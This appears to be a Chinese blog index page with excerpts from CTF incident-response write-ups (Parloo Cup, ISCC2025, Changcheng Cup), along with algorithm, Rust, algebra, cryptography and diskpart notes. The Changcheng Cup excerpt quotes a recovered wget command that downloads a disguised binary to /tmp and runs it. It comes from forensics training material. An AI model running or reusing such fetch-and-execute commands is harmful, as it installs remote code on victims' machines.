第二届Parloo杯应急响应线下赛
拓扑图
主要工具:R-Studio,取证大师,CTF-NetA,Wireshark
攻击者 IP 地址 1(内网)
查看 Server3 里的/var/log/nginx/error.log
flag{192.168.162.134}
攻击者 IP 地址 2(公网)
进入 WindowsPC,提交地址栏内找到的 ip。也可以在网络服务缓存内找到。
flag{111.170.148.147}
flag1
在 Server1 的/root/.ssh/authorized_keys内找到 flag1。此外,很多 flag 可以利用取证大师或 XWF 直接全局搜索搜出来
flag{redis_attack_zgsfsys}
flag2
在 Server1 的/tmp/hack文件内找到
flag2{Hack_Base_area}
flag3
用 X-Ways 全局搜索 flag3 找到黑客传输的 flag3.txt,取证大师搜不到
flag{666hackis888999}
flag4
XWF ...
ISCC2025 Stage1 WP
ISCC 练武校级赛和擂台部分 WP,主要是 Mobile 和 Misc
练武
Misc
书法大师
下载附件,图片属性内找到字符串L9k8JhGfDsA,binwalk 发现一个压缩包(其实一开始的附件里有一堆压缩包,但只有 1-50 或 45 才有用),拿字符串解密得到 message45.txt,内容如下
1右女 丙色 太歌 从少 生乙 女下 没个 没医 石成 男真 那比 市尖 丙比 成慢 作〇 切厂 石站 马〇 片摔 尖趣 耳回 石乙 女群 工睡
猜测是和笔画数有关,两个一组,写个脚本用cnchar-data查询
12345678910111213141516171819202122232425import requestsfrom urllib import parseimport jsonurl = "https://unpkg.com/cnchar-data@1.1.0/draw/"output = ''data = "右女 丙色 太歌 从少 生乙 女下 没个 没医 石成 男真 那比 市尖 丙比 成慢 作〇 切厂 石站 马〇 ...
2025长城杯半决赛 应急响应复现
ISW-1
小路是一名网络安全网管,据反映发现公司主机上有异常外联信息,据回忆前段时间执行过某些更新脚本(已删除),现在需要协助小路同学进行网络安全应急响应分析,查找木马,进一步分析,寻找攻击源头,获取攻击者主机权限获取 flag 文件。
题目 1:找出主机上木马回连的主控端服务器 IP 地址[不定时(3~5 分钟)周期性],并以 flag{MD5}形式提交,其中 MD5 加密目标的原始字符串格式 IP:port。
下载镜像,使用 R-Studio 打开
在/home/ubuntu目录下可以看到被删除的1.txt文件
1wget –quiet http://mirror.unknownrepo.net/f/l/a/g/system_upgrade -O /tmp/.system_upgrade && chmod +x /tmp/.system_upgrade && /tmp/.system_upgrade
联想背景中提及的更新操作,再翻看.viminfo查看命令模式下执行的历史命令,可以看到以下文件被更新
12/etc/systemd/system/sy ...
几道算法题解
好久没写算法题了,一写才发现自己真忘光了。还好这几题基本上都是暴力题(
头好痛好想睡觉啊
A-子串分值
第一题一看就有点蒙,读完题发现不难,然后写了个暴力,过了样例,然后很显然地 TLE 了
于是写了个简单的记忆优化,但复杂度还是 O(n2logn)O(n^2logn)O(n2logn) ,所以又爆了
爆两次之后仔细分析了一下,他要求的字符串中总共就 26 个字母,我们不妨从字符出发,求每个字符的贡献度。例如样例是ababc的话,对于第一个a贡献度就是 2,第二个b贡献度就是 4,以此类推。
因为该字符能做出贡献的 substr 中一定只包含一个它,所以我们往左右两边找上一个和下一个它即可。而贡献度 DiD_iDi 的计算方式可由乘法原理得:
Di=(i−l)(r−i)D_i=(i-l)(r-i)
Di=(i−l)(r−i)
也就是左边字符数+1 乘右边字符数+1。而把两个乘数算出来再相乘的复杂度应该是O(n)O(n)O(n),按理说是可以过的
那为什么没过呢,因为我忘记开long long了 XD
代码如下
123456789101112131415161718192021222 ...
Rust学习笔记
声明
笔记均为个人撰写,只用于记录自己学习时遇到的问题,不定期更新
推荐的 Rust 教程:
Rust 语言圣经(Rust Course)
通过例子学 Rust
Rust 程序设计语言
看新不看旧,Rust 2024 Edition 已发布,建议在配置环境及后续学习时选用 1.84 及以上的版本
修改 Rust 下载镜像源
Rust 默认镜像源为crates.io,有时下载速度过慢,可换用国内镜像源
在$HOME/.cargo/config.toml添加 ustc 镜像源
12[registries]ustc = { index = "https://mirrors.ustc.edu.cn/crates.io-index/" }
使用稀疏索引
12[source.ustc]registry = "sparse+https://mirrors.ustc.edu.cn/crates.io-index/"
引入依赖时(例如time),在Cargo.toml中添加
12[dependencies]time = { regi ...
抽象代数学习笔记
群论(Group Theory)
群的定义
设 GGG 为非空集合,其上有二元运算⋅:G×G→G\cdot :G \times G \to G⋅:G×G→G,如果它们满足以下性质,则称 (G,⋅)(G,\cdot )(G,⋅)是一个群(group),简称群 GGG:
结合律:∀a,b,c∈G,a⋅(b⋅c)=(a⋅b)⋅c\forall a,b,c \in G,a \cdot (b \cdot c) = (a \cdot b) \cdot c∀a,b,c∈G,a⋅(b⋅c)=(a⋅b)⋅c.
有单位元:∃e∈G,∀a∈G,a⋅e=e⋅a=a\exists e \in G,\forall a \in G,a \cdot e = e \cdot a = a∃e∈G,∀a∈G,a⋅e=e⋅a=a.这里eee被称为群GGG的单位元,也可称作幺元.
有逆元:∀a∈G,∃b∈G,a⋅b=b⋅a=e\forall a \in G,\exists b \in G,a \cdot b=b \cdot a=e∀a∈G,∃b∈G,a⋅b=b⋅a=e.这里bbb被称为aaa的逆元,也可以记作a−1a^{-1 ...
【非对称加密学习笔记】Lattice格密码与LLL格基规约算法
bcbfb01e5f17b4fc39e55d0d641398c531cc0aa3cb3a9d03bc9ee7a476ef351818b2fc0faa7be3875cdacc66a31b03f3dd2b846ab93a8a9ef366e96f383a89eb5aa3a93d0084b4ac4b078368fd4b299652eb3399164652c3d0595f9cd2ef296f17ce277ee42ba5ab73c1ee40b3af4a6923aee8610cde573a38a4da2c28e3f274
Hey, password is required here.
【非对称加密学习笔记】Merkle-Hellman加密算法
从背包问题入手
如果你曾经学习过一些算法竞赛知识,你一定不会对“背包”感到陌生。无论是利用贪心算法来解决分数背包问题,还是利用 DP 来求解 0-1 背包问题,这些问题里都涉及了“背包”。
背包问题,即假定一个容量为WWW的背包,对于给定的nnn个物品,每个物品的重量依次为a1,a2,...ana_1,a_2,...a_na1,a2,...an,求背包正好可以装入哪些物品。
事实上,我们是在求解下面的方程:
∑i=1nxiai=W\sum_{i=1}^{n}x_ia_i=W
i=1∑nxiai=W
显然xix_ixi的值只能是 0 或 1,即放入或未放入。那么求解这一方程的时间复杂度也是显而易见的 O(2n)\mathcal{O}(2^n)O(2n)。
我们假设所有的xix_ixi构成一个nnn维的向量 X=(x1,x2,...,xn),xi∈{0,1}X=(x_1,x_2,...,x_n),x_i \in \{0,1\}X=(x1,x2,...,xn),xi∈{0,1}。这样,我们就得到了一个二进制向量 X。同样地还能得到一个向量 A=(a1,a2,...,a ...
Windows下使用diskpart压缩虚拟硬盘
前言
写这篇文章是因为近期在利用binwalk分析二进制固件时出了 bug,(也可能是遇上了zipbomb)。然后 WSL 连接的硬盘被扩了 100 个 G。
WSL 连接的虚拟硬盘大小一般是只增不减的,光删除里面的文件没用。因此要自行手动压缩并指定配额上限。
DiskPart
DiskPart 是 Windows 下的一个实用程序,可以在终端中输入diskpart或者Win+R运行diskpart以打开其命令解释器。
以下为命令列表:
命令
描述
active
将具有焦点的磁盘分区标记为活动。
add
将选中的简单卷镜像到指定磁盘。
assign
给选中的卷分配一个驱动器号或装入点。
attach vdisk
附加(有时称为装载或显露)虚拟硬盘 (VHD),使其在主机计算机上显示为本地硬盘驱动器。
attributes
显示、设置或清除磁盘或卷的属性。
automount
启用或禁用自动装载功能。
break
将选中的镜像卷分为两个简单卷。
clean
从选中的磁盘中删除所有分区或卷格式。
compact vdisk
减小动态扩展虚拟硬盘 ...